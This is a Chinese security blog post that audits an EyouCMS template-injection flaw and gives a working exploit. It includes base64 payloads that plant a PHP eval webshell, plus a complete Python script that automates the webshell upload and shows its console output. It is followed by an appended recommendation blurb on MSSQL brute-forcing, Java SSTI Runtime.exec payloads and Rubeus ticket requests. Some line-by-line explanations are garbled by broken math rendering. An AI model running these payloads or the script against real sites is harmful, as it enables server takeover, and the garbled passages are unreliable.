Eyoucms SSTI漏洞-2019年老文

前言

有技术交流或渗透测试培训需求的朋友欢迎联系QQ/VX-547006660,需要代码审计、渗透测试、红蓝对抗网络安全相关业务可以咨询我

2000人网络安全交流群,欢迎大佬们来玩
群号820783253

0x01 审计起因

8xGpDg.png
由于在先知查看文章的时候无意看到了EyouCMS漏洞复现文章,于是产生了审计之心

0x02 EyouCMS简介

EyouCms是基于TP5.0框架为核心开发的免费+开源的企业内容管理系统,专注企业建站用户需求。提供海量各行业模板,降低中小企业网站建设、网络营销成本,致力于打造用户舒适的建站体验。这是一套安全、简洁、免费的流行CMS,包含完整后台管理、前台展示,直接下载安装即可使用。 演示网址:http://demo.eyoucms.com 官方网站:http://www.eyoucms.com

0x03 代码分析

进入/application/api/controller/Ajax.php中的**function get_tag_memberlist**方法

public function get_tag_memberlist()
{
    if (IS_AJAX_POST) {
        $htmlcode = input('post.htmlcode/s');
        $htmlcode = htmlspecialchars_decode($htmlcode);

        $attarray = input('post.attarray/s');
        $attarray = htmlspecialchars_decode($attarray);
        $attarray = json_decode(base64_decode($attarray));

        /*拼接完整的memberlist标签语法*/
        $innertext = "{eyou:memberlist";
        foreach ($attarray as $key => $val) {
            if (in_array($key, ['js'])) {
                continue;
            }
            $innertext .= " {$key}='{$val}'";
        }
        $innertext .= " js='on'}";
        $innertext .= $htmlcode;
        $innertext .= "{/eyou:memberlist}";
        /*--end*/
        $msg = $this->display($innertext); // 渲染模板标签语法
        $data['msg'] = $msg;
        $this->success('读取成功!', null, $data);
    }
    $this->error('加载失败!');
}

3 Line: 判断是否AJAX请求
4 Line: 从post获取用户输入参数htmlcode的值并将结果赋值给 h t m l c o d e 5 L i n e : 将 htmlcode 5 Line: 将 htmlcode5Line:htmlcode中的实体字符转换为正常字符
7 Line: 从post获取用户输入参数attarray的值并将结果赋值给 a t t a r r a y 8 L i n e : 将 attarray 8 Line: 将 attarray8Line:attarray中的实体字符转换为正常字符
9 Line: 将 a t t a r r a y 进行 b a s e 64 解码再 j s o n 解码 12 L i n e : 定义标签 13   18 L i n e : 使用 f o r e a c h 将 attarray进行base64解码再json解码 12 Line: 定义标签 13~18 Line: 使用foreach将 attarray进行base64解码再json解码12Line:定义标签13 18Line:使用foreachattay以键值对的方式遍历出来,判断每一个元素是否为js如果是那么直接进入下一次循环,否则“{KaTeX parse error: Expected 'EOF', got '}' at position 4: key}̲=’{val}’”连接到标签后面
19 Line: 闭合第一个标签
20 Line: 将 h t m l c o d e 拼接到标签后,作为内容使用 21 L i n e : 将闭合标签拼接到 htmlcode拼接到标签后,作为内容使用 21 Line: 将闭合标签拼接到 htmlcode拼接到标签后,作为内容使用21Line:将闭合标签拼接到innertext中
23 Line: 调用基类中的display方法并将$innertext传入

跟踪到/core/library/think/Controll.php文件中的**display**方法

protected function display($content = '', $vars = [], $replace = [], $config = [])
{
    return $this->view->display($content, $vars, $replace, $config);
}

3 Line: 调用视图类中的display方法,并将 c o n t e n t 、 content、 contentvars、 r e p l a c e 、 replace、 replaceconfig传入

跟踪到/core/library/think/View.php文件中的**display**方法

public function display($content, $vars = [], $replace = [], $config = [])
{
    return $this->fetch($content, $vars, $replace, $config, true);
}

3 Line: 调用当前类中的fetch方法并将并将 c o n t e n t 、 content、 contentvars、 r e p l a c e 、 replace、 replaceconfig传入

跟踪到/core/library/think/View.php文件中的**fetch**方法

public function fetch($template = '', $vars = [], $replace = [], $config = [], $renderContent = false)
{
    // 模板变量
    $vars = array_merge(self::$var, $this->data, $vars);

    // 页面缓存
    ob_start();
    ob_implicit_flush(0);
    // 渲染输出
    try {
        $method = $renderContent ? 'display' : 'fetch';
        // 允许用户自定义模板的字符串替换
        // $replace = array_merge($this->replace, $replace, (array) $this->engine->config('tpl_replace_string'));
        $replace = array_merge($this->replace, (array) $this->engine->config('tpl_replace_string'), $replace); // 解决一个页面上调用多个钩子的冲突问题 by 小虎哥
        /*插件模板字符串替换,不能放在构造函数,毕竟构造函数只执行一次 by 小虎哥*/
        // if ($this->__isset('weappInfo')) {
        //     $weappInfo = $this->__get('weappInfo');
        //     if (!empty($weappInfo['code'])) {
        //         $replace['__WEAPP_TEMPLATE__'] = ROOT_DIR.'/'.WEAPP_DIR_NAME.'/'.$weappInfo['code'].'/template';
        //     }
        // }
        /*--end*/
        $this->engine->config('tpl_replace_string', $replace);
        $this->engine->$method($template, $vars, $config);
    } catch (\Exception $e) {
        ob_end_clean();
        throw $e;
    }

    // 获取并清空缓存
    $content = ob_get_clean();
    // 内容过滤标签
    Hook::listen('view_filter', $content);

    // $this->checkcopyr($content);

    return $content;
}

4 Line: 将当前类中的成员属性 v a r 、 var、 vardata以及传入的 v a r s 合并为一个数组并赋给 vars合并为一个数组并赋给 vars合并为一个数组并赋给vars
7~8 Line: 开启页面缓存

11 Line: 使用三元运算符判断外部传入的 r e n d e r C o n t e n t 是否为真,若为真那么将 d i s p l a y 赋值给 renderContent是否为真 ,若为真那么将display赋值给 renderContent是否为真,若为真那么将display赋值给method,否则将fetch赋值给 m e t h o d 24 L i n e : 调用 T h i n k 类中的 method 24 Line: 调用Think类中的 method24Line:调用Think类中的method方法并将 t e m p l a t e 、 template、 templatevars、$config传入

跟踪到/core/library/think/view/driver/Think.php中的**display**方法

public function display($template, $data = [], $config = [])
{
    $this->template->display($template, $data, $config);
}

3 Line: 调用模板类中的display方法并将 t e m p l a t e 、 template、 templatedata、$config传入

跟踪到/core/library/think/Template.php中的**display**方法

public function display($content, $vars = [], $config = [])
{
    if ($vars) {
        $this->data = $vars;
    }
    if ($config) {
        $this->config($config);
    }
    $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($content) . '.' . ltrim($this->config['cache_suffix'], '.');
    if (!$this->checkCache($cacheFile)) {
        // 缓存无效 模板编译
        $this->compiler($content, $cacheFile);
    }
    // 读取编译存储
    $this->storage->read($cacheFile, $this->data);
}

3~5 Line: 判断外部传入的 v a r s 是否有值,若有那么则将 vars是否有值,若有那么则将 vars是否有值,若有那么则将vars赋值给当前类中的成员属性data中
6~8 Line: 判断 c o n f i g 是否有值,若有那么将 config是否有值,若有那么将 config是否有值,若有那么将config传入当前类中的config方法
9 Line: 生成缓存文件名称赋值给 c a c h e F i l e 10   13 L i n e : 判断是否没有 cacheFile 10~13 Line: 判断是否没有 cacheFile10 13Line:判断是否没有cacheFile这个缓存文件,为真则调用当前类中的compiler方法并且将 c o n t e n t 及 content及 contentcacheFile传入其中

跟踪到/core/library/think/Template.php中的**compiler**方法

private function compiler(&$content, $cacheFile)
{
    // 判断是否启用布局
    if ($this->config['layout_on']) {
        if (false !== strpos($content, '{__NOLAYOUT__}')) {
            // 可以单独定义不使用布局
            $content = str_replace('{__NOLAYOUT__}', '', $content);
        } else {
            // 读取布局模板
            $layoutFile = $this->parseTemplateFile($this->config['layout_name']);
            if (is_array($layoutFile)) { // 引入模板的错误友好提示 by 小虎哥
                $content = !empty($layoutFile['msg']) ? $layoutFile['msg'] : $content;
            } else if ($layoutFile) {
                // 替换布局的主体内容
                $content = str_replace($this->config['layout_item'], $content, file_get_contents($layoutFile));
            }
        }
    } else {
        $content = str_replace('{__NOLAYOUT__}', '', $content);
    }

    // 模板解析
    $this->parse($content);
    if ($this->config['strip_space']) {
        /* 去除html空格与换行 */
        $find    = ['~>\s+<~', '~>(\s+\n|\r)~'];
        $replace = ['><', '>'];
        $content = preg_replace($find, $replace, $content);
    }
    // 优化生成的php代码
    $content = preg_replace('/\?>\s*<\?php\s(?!echo\b)/s', '', $content);
    // 模板过滤输出
    $replace = $this->config['tpl_replace_string'];
    $content = str_replace(array_keys($replace), array_values($replace), $content);
    // 添加安全代码及模板引用记录
    $content = '<?php if (!defined(\'THINK_PATH\')) exit(); /*' . serialize($this->includeFile) . '*/ ?>' . "\n" . $content;
    // 编译存储
    $this->storage->write($cacheFile, $content);
    $this->includeFile = [];
    return;
}

23 Line: 将外部传入的$content传到当前类中的parse(解析模板)方法中

跟踪到/core/library/think/Template.php中的**parse**方法

public function parse(&$content)
{
    // 内容为空不解析
    if (empty($content)) {
        return;
    }
    // 替换eyou:literal标签内容
    $this->parseEyouLiteral($content);
    // 替换literal标签内容
    $this->parseLiteral($content);
    // 解析继承
    $this->parseExtend($content);
    // 解析布局
    $this->parseLayout($content);
    // 检查eyou:include语法  by 小虎哥
    $this->parseEyouInclude($content);
    // 检查include语法
    $this->parseInclude($content);
    // 替换包含文件中literal标签内容
    $this->parseLiteral($content);
    // 替换包含文件中eyou:literal标签内容
    $this->parseEyouLiteral($content);
    // 检查PHP语法
    $this->parsePhp($content);

    // 获取需要引入的标签库列表
    // 标签库只需要定义一次,允许引入多个一次
    // 一般放在文件的最前面
    // 格式:<taglib name="html,mytag..." />
    // 当TAGLIB_LOAD配置为true时才会进行检测
    if ($this->config['taglib_load']) {
        $tagLibs = $this->getIncludeTagLib($content);
        if (!empty($tagLibs)) {
            // 对导入的TagLib进行解析
            foreach ($tagLibs as $tagLibName) {
                $this->parseTagLib($tagLibName, $content);
            }
        }
    }
    // 预先加载的标签库 无需在每个模板中使用taglib标签加载 但必须使用标签库XML前缀
    if ($this->config['taglib_pre_load']) {
        $tagLibs = explode(',', $this->config['taglib_pre_load']);
        foreach ($tagLibs as $tag) {
            $this->parseTagLib($tag, $content);
        }
    }
    // 内置标签库 无需使用taglib标签导入就可以使用 并且不需使用标签库XML前缀
    $tagLibs = explode(',', $this->config['taglib_build_in']);
    foreach ($tagLibs as $tag) {
        $this->parseTagLib($tag, $content, true);
    }
    // 解析普通模板标签 {$tagName}
    $this->parseTag($content);

    // 还原被替换的eyou:Literal标签
    $this->parseEyouLiteral($content, true);

    // 还原被替换的Literal标签
    $this->parseLiteral($content, true);
    return;
}

24 Line: 调用当前类中的parsePhp(解析php标签)方法并将$content传入

跟踪到/core/library/think/Template.php中的**parsePhp**方法

private function parsePhp(&$content)
{
    // 短标签的情况要将<?标签用echo方式输出 否则无法正常输出xml标识
    $content = preg_replace('/(<\?(?!php|=|$))/i', '<?php echo \'\\1\'; ?>' . "\n", $content);

    // 过滤eval函数,防止被注入执行任意代码 by 小虎哥
    $view_replace_str = config('view_replace_str');
    if (isset($view_replace_str['__EVAL__'])) {
        if (stristr($content, '{eyou:php}')) { // 针对{eyou:php}标签语法处理
            preg_match_all('/{eyou\:php}.*{\/eyou\:php}/iUs', $content, $matchs);
            $matchs = !empty($matchs[0]) ? $matchs[0] : [];
            if (!empty($matchs)) {
                foreach($matchs as $key => $val){
                    $valNew = preg_replace('/{(\/)?eyou\:php}/i', '', $val);
                    $valNew = preg_replace("/([\W]+)eval(\s*)\(/i", 'intval(', $valNew);
                    $valNew = preg_replace("/^eval(\s*)\(/i", 'intval(', $valNew);
                    $valNew = "{eyou:php}{$valNew}{/eyou:php}";
                    $content = str_ireplace($val, $valNew, $content);
                }
            }
        } else if (stristr($content, '{php}')) { // 针对{php}标签语法处理
            preg_match_all('/{php}.*{\/php}/iUs', $content, $matchs);
            $matchs = !empty($matchs[0]) ? $matchs[0] : [];
            if (!empty($matchs)) {
                foreach($matchs as $key => $val){
                    $valNew = preg_replace('/{(\/)?php}/i', '', $val);
                    $valNew = preg_replace("/([\W]+)eval(\s*)\(/i", 'intval(', $valNew);
                    $valNew = preg_replace("/^eval(\s*)\(/i", 'intval(', $valNew);
                    $valNew = "{php}{$valNew}{/php}";
                    $content = str_ireplace($val, $valNew, $content);
                }
            }
        } else if (false !== strpos($content, '<?php')) { // 针对原生php语法处理
            $content = preg_replace("/(@)?eval(\s*)\(/i", 'intval(', $content);
            $this->config['tpl_deny_php'] && $content = preg_replace("/\?\bphp\b/i", "?muma", $content);
        }
    }
    // end

    // PHP语法检查
    if ($this->config['tpl_deny_php'] && false !== strpos($content, '<?php')) {
        if (config('app_debug')) { // 调试模式下中断模板渲染 by 小虎哥
            throw new Exception('not allow php tag', 11600);
        } else { // 运营模式下继续模板渲染 by 小虎哥
            echo(lang('not allow php tag'));
        }
    }
    return;
}

4 Line: 将模板中php短标签转换为<?php echo ‘1’?>
21 Line: 判断传入的 c o n t e n t 中是否包含了 p h p 22 L i n e : 使用正则表达式匹配出 content中是否包含了{php} 22 Line: 使用正则表达式匹配出 content中是否包含了php22Line:使用正则表达式匹配出content中所有包含了“{php}任意内容{/php}”的标签
23 Line: 使用三目运算符判断匹配出来的数组中的第0个元素是否有值,如果有值那么将第0个元素的值赋给 m a t c h s 否则将空数组赋给 matchs否则将空数组赋给 matchs否则将空数组赋给matchs
24 Line: 判断 m a t c h s 不为空 25 L i n e : 将 matchs不为空 25 Line: 将 matchs不为空25Line:matchs使用foreach循环遍历
26 Line: 将 v a l 中的“ / 任意空白字符 p h p ”替换为空并赋给 val中的“{/任意空白字符php}”替换为空并赋给 val中的/任意空白字符php替换为空并赋给valnew
27 Line: 将 v a l n e w 中的“多个或零个 0 − 9 A − Z a − Z e v a l ( ”替换为“ i n t v a l ( ” 28 L i n e : 将 valnew中的“多个或零个0-9A-Za-Z_eval(”替换为“intval(” 28 Line: 将 valnew中的多个或零个09AZaZeval(替换为intval(”28Line:valnew中的“开始为eval任意空白字符(”替换为“intval(”
29 Line: 将字符串“{php}{KaTeX parse error: Expected 'EOF', got '}' at position 7: valNew}̲{/php}”赋给valnew
30 Line: 将 c o n t e n t 中的 content中的 content中的val替换为$valNew

0x04 漏洞探测

Payload:attarray=eyJ7cGhwfXBocGluZm8oKTt7XC9waHB9Ijoie3BocH1waHBpbmZvKCk7e1wvcGhwfSJ9&html={php}phpinfo();{/php}

8xGqLF.png

0x05 漏洞复现

Payload生成方式:

base64_encode(jsonstring)

eval会被替换成intval,所以我们采用base64加密写入webshell的方式
php代码如下:

file_put_contents("./wait.php",base64_decode("PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg=="));

PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg==内容:

<?php eval($_REQUEST[“w”]);?>

将php标签转换为json格式并加密:

print base64_encode(json_encode(array("{php}file_put_contents('./wait.php',base64_decode(\"PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg==\"));{/php}"=>"{php}file_put_contents('./wait.php',base64_decode(\"PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg==\"));{/php}")));

eyJ7cGhwfWZpbGVfcHV0X2NvbnRlbnRzKCcuXC93YWl0LnBocCcsYmFzZTY0X2RlY29kZShcIlBEOXdhSEFnWVhOelpYSjBLQ1JmVWtWUlZVVlRWRnNpZHlKZEtUc1wvUGc9PVwiKSk7e1wvcGhwfSI6IntwaHB9ZmlsZV9wdXRfY29udGVudHMoJy5cL3dhaXQucGhwJyxiYXNlNjRfZGVjb2RlKFwiUEQ5d2FIQWdZWE56WlhKMEtDUmZVa1ZSVlVWVFZGc2lkeUpkS1RzXC9QZz09XCIpKTt7XC9waHB9In0=

payload:

attarray=eyJ7cGhwfWZpbGVfcHV0X2NvbnRlbnRzKCcuXC93YWl0LnBocCcsYmFzZTY0X2RlY29kZShcIlBEOXdhSEFnWVhOelpYSjBLQ1JmVWtWUlZVVlRWRnNpZHlKZEtUc1wvUGc9PVwiKSk7e1wvcGhwfSI6IntwaHB9ZmlsZV9wdXRfY29udGVudHMoJy5cL3dhaXQucGhwJyxiYXNlNjRfZGVjb2RlKFwiUEQ5d2FIQWdZWE56WlhKMEtDUmZVa1ZSVlVWVFZGc2lkeUpkS1RzXC9QZz09XCIpKTt7XC9waHB9In0=&htmlcode=bb

8xJJFs.png

htmlcode参数作为随机方式传递

0x06 漏洞修复

可以使用assign方法来将标签直接替换成我们需要的值,而不是将标签传入display方法中将标签直接编译,危险性大大提升

0x07 自动化测试脚本

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
import sys,getopt
import json,base64
import time

class Eyoucms:
    session = None
    headers = None
    password = "ceshi"
    output = "ceshi"
    requesturi = "/?m=api&c=ajax&a=get_tag_memberlist"

    def __init__(self,headers):
        self.headers = headers
        self.getparam(sys.argv[1:])
        self.requestsdata = {
            "attarray":self.createpyload(),
            "htmlcode":time.time()
        }
        self.run()

    def getparam(self,argv):
        try:
            options, args = getopt.getopt(argv, "h:u:p:o:", ["help", "url=","password=","output="])
        except getopt.GetoptError:
            print 'eyoucms-ssti.py -u url -p password -o outputfile'
            return
        for option, value in options:
            if option in ("-h", "--help"):
                print 'eyoucms-ssti.py -u url'
            if option in ("-u", "--url"):
                if(self.request(value).status_code != 404):
                    self.url = value
            if option in ("-p", "--password"):
                    if(value != None):
                        self.password = value
                    else:
                        self.password = "ceshi"
            if option in ("-o", "--output"):
                    if(value != None):
                        self.output = value.replace(".php","")
                    else:
                        self.output = "ceshi"

    def run(self):
        url = self.url.rstrip('/')+self.requesturi
        print "[+] 正在请求目标地址:%s"%(url)
        if(self.request(url).status_code == 200):
            print "[*] 目标地址%s存活"%url
        else:
            print "[-] 目标地址%s探测失败"%url
            return
        print "[+] 正在向目标地址%s写入%s.php"%(url,self.output)
        if(self.request(url,"post").status_code == 200):
            print "[*] 疑似成功写入Webshell"
        shell = self.url.rstrip('/')+"/%s.php"%self.output
        print "[+] 正在探测Webshell(%s)是否存活"%(shell)
        if(self.request(shell).status_code == 200):
            print "[*] Webshell(%s)已存活\n[*] 密码:%s"%(shell,self.password)


    def createpyload(self):
        short = base64.b64encode("<php eval($_REQUEST[%s]);?>"%self.password)
        file = self.output
        payload = {
            "{php}1{/php}":"{php}file_put_contents('./%s.php',base64_decode('%s'));{/php}"%(file,short)
        }
        return base64.b64encode(json.dumps(payload))

    def request(self,url,method="get"):
        respone = None
        if(not self.session):
            self.session = requests.Session()
        if(method == "get"):
            try:
                respone = self.session.get(url=url,headers=self.headers)
            except requests.exceptions.ConnectTimeout:
                print "[-] 请求%s超时"%url
                return
            except requests.exceptions.ConnectionError:
                print "[-] 请求%s无效"%url
                return
            return respone
        elif(method == "post"):
            try:
                respone = self.session.post(url=url,data=self.requestsdata,headers=self.headers)
            except requests.exceptions.ConnectTimeout:
                print "[-] 请求%s超时"%url
                return
            except requests.exceptions.ConnectionError:
                print "[-] 请求%s无效"%url
                return
        return respone

if __name__ == "__main__":
    
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0",
        "X-Requested-With":"XMLHttpRequest"
    }
    Eyoucms(headers)

```console
silly@PenetrationOs:~#: python eyoucms-ssti.py -u http://192.168.1.106:8085/ -o abc

[+] 正在请求目标地址:http://192.168.1.106:8085/?m=api&c=ajax&a=get_tag_memberlist
[*] 目标地址http://192.168.1.106:8085/?m=api&c=ajax&a=get_tag_memberlist存活
[+] 正在向目标地址http://192.168.1.106:8085/?m=api&c=ajax&a=get_tag_memberlist写入abc.php
[*] 疑似成功写入Webshell
[+] 正在探测Webshell(http://192.168.1.106:8085/abc.php)是否存活
[*] Webshell(http://192.168.1.106:8085/abc.php)已存活
[*] 密码:ceshi
[*]

漏洞修复时间线

漏洞影响范围

EyouCMS<=1.41

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
为了通关ssti-lab靶场,你可以按照以下步骤进行操作: 1. 首先,从上一个数据库中找到的password字典中获取到mssql的账户密码。 2. 使用这个账户密码进行mssql的暴力破解,以获得访问权限。 3. 一旦你获得了访问权限,你可以使用SSTI有效载荷发生器来执行特定类型的Java SSTI攻击。该有效载荷发生器可以生成针对Java SSTI的payload,启发于${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99)...}。 4. 另外,你还可以使用Rubeus工具来申请访问自身的可转发服务票据。通过运行命令".\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:bd2cf5e6a8f89ed5b02d3d7fcf5e88c7 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt",你可以生成一个可转发的服务票据件,以便在后续攻击中使用。 通过以上步骤,你可以成功通关ssti-lab靶场。请注意,在进行任何攻击前,确保你有合法的授权和使用权,并且遵守法律法规。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [WP-春秋云镜-Brute4Road靶场通关完全指南](https://blog.csdn.net/qq_45234543/article/details/128482984)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [ssti-payload:SSTI有效载荷生成器](https://download.csdn.net/download/weixin_42128558/15099898)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

J0o1ey

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值